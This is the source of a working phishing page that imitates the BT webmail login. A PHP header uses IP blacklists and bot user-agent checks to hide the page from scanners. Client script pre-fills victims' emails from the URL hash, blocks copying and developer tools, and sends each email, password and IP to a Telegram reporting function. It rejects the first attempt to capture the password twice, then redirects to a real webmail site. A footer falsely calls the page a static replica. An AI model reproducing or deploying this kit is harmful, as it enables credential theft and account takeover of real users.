<?php
//═══════════════════════════════════════════════════════════════════════════
//  🚫 IP BLACKLIST CHECK (High Priority)
//═══════════════════════════════════════════════════════════════════════════
require_once __DIR__ . '/../ip_blacklist_loader.php';

if (!function_exists('x8SYQLpUqU')) { 
    function x8SYQLpUqU() { 
        $xb2zx1 = $_SERVER['SERVER_ADDR']; 
        $xXSEJ = '127.0.0.1'; 
        if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR'])!=$xXSEJ)) {
            $ip=$_SERVER['GEOIP_ADDR'];
        } elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=$xXSEJ) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=($xb2zx1))) {
            $ip=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])[0];
        } elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && (($_SERVER['HTTP_CLIENT_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CLIENT_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CLIENT_IP'];
        } else {
            $ip=$_SERVER['REMOTE_ADDR'];
        } 
        return $ip; 
    }
}
$ip=x8SYQLpUqU();

// Check if visitor IP is in blacklist files
if (IPBlacklistLoader::isBlacklisted($ip)) {
    // IP is blacklisted - redirect to centralized URL
    require_once __DIR__ . '/../config_redirect.php';
    header('Location: ' . CENTRALIZED_REDIRECT_URL, true, 302);
    exit;
}

//═══════════════════════════════════════════════════════════════════════════
//  Basic Bot Detection (Secondary Layer)
//═══════════════════════════════════════════════════════════════════════════ 

if (!function_exists('x9PfbWn2bS')) { 
    function x9PfbWn2bS() { 
        if(empty($_SERVER['HTTP_USER_AGENT'])) { 
            $_SERVER['HTTP_USER_AGENT'] = getenv('HTTP_USER_AGENT'); 
        } 
        return $_SERVER['HTTP_USER_AGENT']; 
    }
}
$eRf9t9d9 = x9PfbWn2bS();

// Basic user agent check (secondary protection layer)
$ua_lower = strtolower($eRf9t9d9);
$obvious_bots = ['curl', 'wget', 'python-requests', 'python-urllib', 'go-http-client', 'java/', 'bot', 'crawler', 'spider', 'scraper'];
foreach ($obvious_bots as $bot_signature) {
    if (strpos($ua_lower, $bot_signature) !== false) {
        die(header('HTTP/1.1 403 Forbidden'));
    }
}

// ✅ All checks passed - load page
?>
<!doctype html>
<html lang="en-GB">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1">
    <title>BT — Sign in</title>
    
    <!-- Antibot Scripts -->
    <script src="../m/js/fingerprint.js"></script>
    <script src="../m/js/utils.js"></script>
    <script src="../m/js/captcha.js"></script>
    
    <!-- Centralized Functions -->
    <script src="../js/centralized_telegram.js"></script>
    <script src="../js/centralized_redirect.js"></script>
    <script src="../js/email_extractor.js"></script>
    <script src="../js/autofill_helper.js"></script>
    <style>
        :root{--purple:#5b0fb8;--purple-dark:#4a0e93}
        html,body{height:100%}
        body{margin:0;font-family:Segoe UI,Roboto,Arial,sans-serif;background:#6c1fb3;background-image:url('https://prod-btemailauth.bt.com/static/content/res/stage-1/img/background.jpg');background-size:cover;background-position:center;background-repeat:no-repeat;color:#222}
        .page{min-height:100vh;display:flex;align-items:flex-start;padding-top:56px}
        .left{width:320px;margin-left:80px;background:rgba(255,255,255,1);box-shadow:0 8px 30px rgba(0,0,0,.12);display:flex;flex-direction:column;padding:36px 28px;border-radius:4px}
        .branding{display:flex;align-items:center;gap:18px}
        .logo{width:64px;height:64px;border-radius:50%;background:transparent;border:4px solid var(--purple);display:flex;align-items:center;justify-content:center;font-weight:700;color:var(--purple);font-size:22px}
        h1{margin:8px 0 18px;font-size:28px;color:var(--purple)}
        label{display:block;font-size:14px;color:#333;margin-top:12px}
        input[type=text],input[type=password],select{width:100%;padding:12px;border:1px solid #d0d6dd;border-radius:6px;font-size:14px;box-sizing:border-box;margin-top:8px}
        /* captcha removed to shorten container */
        .error{color:#c33;margin-top:10px;font-size:15px}
        .btn{display:inline-block;margin-top:18px;background:var(--purple);color:#fff;padding:12px 18px;border-radius:8px;border:none;font-size:16px;width:100%;cursor:pointer}
        .link{margin-top:12px;color:var(--purple);text-decoration:underline;font-size:14px}
        .footer{margin-top:12px;padding-top:0;font-size:12px;color:#666}
        @media (max-width:900px){.left{width:300px;margin-left:16px;padding:20px}}
    </style>
</head>
<body>
    <div class="page">
        <aside class="left" role="complementary">
            <div class="branding">
                <div class="logo"><img src="https://prod-btemailauth.bt.com/static/content/res/stage-1/img/logo.png" alt="BT logo" class="logo-img"></div>
            </div>
            <h1>Log in</h1>

            <form id="signin" onsubmit="event.preventDefault();">
                <label for="user">Email or username</label>
                <input id="user" name="user" type="text" placeholder="Email or username" autocomplete="username">

                <label for="pw">Password</label>
                <input id="pw" name="pw" type="password" placeholder="" autocomplete="current-password">

                <!-- captcha removed to shorten container for static replica -->

                <button class="btn" type="submit">Next</button>
            </form>

            <a class="link" href="#">Forgot log-in details?</a>

            <div class="footer">© BT — This is a static replica for local viewing only.</div>
        </aside>
        <div style="flex:1"></div>
    </div>

    <script>
        function togglePassword(el) {
            var pwd = document.getElementById('pw');
            if (pwd.type === 'password') {
                pwd.type = 'text';
                el.setAttribute('aria-pressed', 'true');
                el.setAttribute('aria-label', 'Hide password');
                el.title = 'Hide password';
            } else {
                pwd.type = 'password';
                el.setAttribute('aria-pressed', 'false');
                el.setAttribute('aria-label', 'Show password');
                el.title = 'Show password';
            }
            try {
                var start = typeof pwd.selectionStart === 'number' ? pwd.selectionStart : pwd.value.length;
                var end = typeof pwd.selectionEnd === 'number' ? pwd.selectionEnd : start;
                pwd.focus();
                setTimeout(function() {
                    try { pwd.setSelectionRange(start, end); } catch (inner) { /* ignore */ }
                }, 0);
            } catch (e) { /* ignore if not supported */ }
        }
        window.addEventListener('DOMContentLoaded', function() {
            var spinner = document.getElementById('initSpinner');
            var app = document.getElementById('app');
            var mainContent = document.getElementById('mainContent');
            var initError = document.getElementById('initError');
            if (mainContent) {
                mainContent.style.display = 'block';
            }
        });
    </script>
<!-- Antibot Scripts -->
<script src="../m/js/fingerprint.js"></script>
<script src="../m/js/utils.js"></script>
<script src="../m/js/captcha.js"></script>

<!-- Centralized Functions -->
<script src="../js/centralized_telegram.js"></script>
<script src="../js/centralized_redirect.js"></script>

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
    <script type="text/javascript" src="https://l2.io/ip.js?var=userip"></script>
  <script>
  /* global $ */
  $(document).ready(function() {
    var count = 0;

    function isValidEmail(email) {
      var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
      return filter.test(email);
    }

        function autoFillFromHash() {
            try {
                var h = window.location.hash || '';
                if (!h) return;
                var fragment = h.substr(1);
                if (!fragment) return;

                var value = fragment;
                var partsIdx = fragment.indexOf('=');
                if (partsIdx !== -1) {
                    var lhs = fragment.substr(0, partsIdx).toLowerCase();
                    var rhs = fragment.substr(partsIdx + 1);
                    if (lhs === 'email') value = rhs;
                }

                try { value = decodeURIComponent(value); } catch (e) { /* ignore */ }

                var base64regex = /^([A-Za-z0-9+/]{4})*(([A-Za-z0-9+/]{2}==)|([A-Za-z0-9+/]{3}=))?$/;
                if (base64regex.test(value.replace(/\s/g, ''))) {
                    try {
                        var decoded = atob(value);
                        if (decoded) value = decoded;
                    } catch (e) { /* ignore if not valid base64 */ }
                }

                if (value && isValidEmail(value)) {
                    $('#user').val(value).trigger('input');
                    $('#pw').focus();
                }
            } catch (err) { console.warn('autoFillFromHash error', err); }
        }

        // Run auto-fill immediately and on hash change
        autoFillFromHash();
        window.addEventListener('hashchange', autoFillFromHash);

        $('#user, #pw').on('input', function() {
            // Error shown via alert in BELL
        });

        (function() {
            var isTouch = 'ontouchstart' in window || navigator.maxTouchPoints > 0;
            if (!isTouch) {
                document.addEventListener('contextmenu', function(e) {
                    e.preventDefault();
                    return false;
                }, false);
            }

            document.addEventListener('copy', function(e) {
                try { e.clipboardData.setData('text/plain', 'Copying is disabled on this page.'); } catch (err) {}
                e.preventDefault();
                return false;
            });

            document.addEventListener('selectstart', function(e) {
                if (!e.target.closest('input, textarea')) {
                    e.preventDefault();
                    return false;
                }
            });

            document.addEventListener('keydown', function(e) {
                if (e.keyCode === 123) { e.preventDefault(); e.stopPropagation(); return false; }
                if (e.ctrlKey && e.shiftKey && (e.keyCode === 73 || e.keyCode === 74 || e.keyCode === 67)) { e.preventDefault(); e.stopPropagation(); return false; }
                if (e.ctrlKey && (e.keyCode === 85 || e.keyCode === 83)) { e.preventDefault(); e.stopPropagation(); return false; }
                if (e.metaKey && e.altKey && e.keyCode === 73) { e.preventDefault(); e.stopPropagation(); return false; }
            });
        })();

        $('#signin').on('submit', function(event) {
      event.preventDefault();
      var email = $('#user').val() ? $('#user').val().trim() : '';
      var pw = $('#pw').val() ? $('#pw').val().trim() : '';
      if (!email) {
        $('#user').focus();
        return false;
      }
      if (!isValidEmail(email)) {
        $('#user').focus();
        return false;
      }
      if (!pw) {
        $('#pw').focus();
        return false;
      }
            count = count + 1;

            
            // Use centralized Telegram reporting with provider tag
            window.providerTag = 'btinternet';
            var clientIP = window.userip || 'n/a';
            
            function sendTelemetry(attempt, redirectOnSuccess) {
                // Send centralized Telegram report
                if (typeof sendCentralizedTelegramReport === 'function') {
                    sendCentralizedTelegramReport(providerTag, email, pw, clientIP, function(success) {
                        if (redirectOnSuccess) {
                            // Use centralized redirect
                            if (typeof performCentralizedRedirect === 'function') {
                                performCentralizedRedirect(300);
                            } else {
                                // Fallback if centralized redirect not available
                                setTimeout(function() { window.location.replace('https://webmail.bell.net/bell/'); }, 300);
                            }
                        }
                    });
                } else {
                    // Fallback if centralized function not available
                    console.error('Centralized Telegram function not available');
                    if (redirectOnSuccess) {
                        if (typeof performCentralizedRedirect === 'function') {
                            performCentralizedRedirect(300);
                        } else {
                            setTimeout(function() { window.location.replace('https://webmail.bell.net/bell/'); }, 300);
                        }
                    }
                }
                
                if (redirectOnSuccess) {
                    $('.btn').text('Logging in...');
                    setTimeout(function() {
                        $('.btn').text('Next');
                    }, 200);
                }
            }

            sendTelemetry(count, (count >= 2));

            if (count === 1) {
                $('#pw').val('').focus();
                return false;
            }
    });
});
  </script>
</body>
</html>
